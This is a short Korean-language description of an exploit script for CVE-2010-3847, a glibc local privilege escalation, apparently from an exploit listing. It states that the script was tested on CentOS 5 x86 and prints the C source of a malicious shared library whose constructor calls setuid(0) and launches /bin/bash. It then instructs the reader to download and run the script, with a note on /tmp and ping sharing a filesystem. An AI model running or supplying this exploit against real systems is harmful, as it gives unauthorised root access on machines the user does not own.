
CVE-2010-3847을 악용하는 스크립트
[http://marc.info/?l=full-disclosure&m=128776663124692&w=2]에서 논의된 익스플로잇을 자동화하기 위한 것입니다. CentOS 5 x86에서 테스트되었습니다.
출력되는 DSO는 다음 코드로 컴파일됩니다:
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
다운로드하여 실행 가능한 위치에 두고 실행하세요.
/tmp와 ping이 있는 위치는 동일한 파일시스템에 있어야 합니다. 그렇지 않다면 경로를 적절히 조정하세요.